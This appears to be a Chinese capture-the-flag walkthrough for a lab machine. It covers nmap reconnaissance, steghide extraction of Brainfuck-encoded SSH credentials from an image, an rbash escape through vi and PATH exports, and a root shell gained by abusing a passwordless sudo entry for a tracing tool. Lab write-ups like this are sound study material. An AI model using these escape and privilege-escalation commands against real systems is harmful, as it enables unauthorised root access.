1.查看靶机IP地址
arp-scan -l
nmap -sP+攻击机ip地址
2.查看靶机开放端口
nmap -sS -Pn -A -p- -n 靶机ip
发现靶机开放1337-ssh端口服务，31337-http端口服务；
3.根据端口服务进行渗透（31337-http端口服务）
查看网页源代码
把图片下载到本地
猜测是ctf的隐写漏洞
Kali Steghide开源隐写工具
http://blog.csdn.net/weixin_46700042/article/details/108565769用steghide进行提取其中的文本信息：
steghide extract -sf key_is_h1dd3n.jpg提示需要密码，图片名称为 key_is_h1dd3n，那么密码就是 h1dd3n，成功提取出了h1dd3n.txt；
打开之后的文件信息为一种brainfuck的程序语言，使用在线工具https://copy.sh/brainfuck/，或者https://www.splitbrain.org/services/ook在线解密后即可获取到ssh的用户名和密码；
4.登陆ssh（1337-ssh端口服务）
ssh ud64@192.168.110.197 -p 1337
尝试各种命令都被限制，竟然是rbash的shell
5.绕过rbash提权
在vi命令行下输入!/bin/bash即可顺利进入bash
通过export命令修改环境变量，将/bin/bash导出到shell环境变量，将/usr/bin目录导出到PATH环境变量：
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
export PATH=/bin:$PATH
使用sudo-l查看sudo权限，发现可以无密码登录sysud64
使用sudo sysud64 -h查看帮助消息，发现可以使用
-o file send trace output to FILE instead of stderr尝试将root用户的shell导出到该用户下
sudo sysud64 -o /dev/null /bin/sh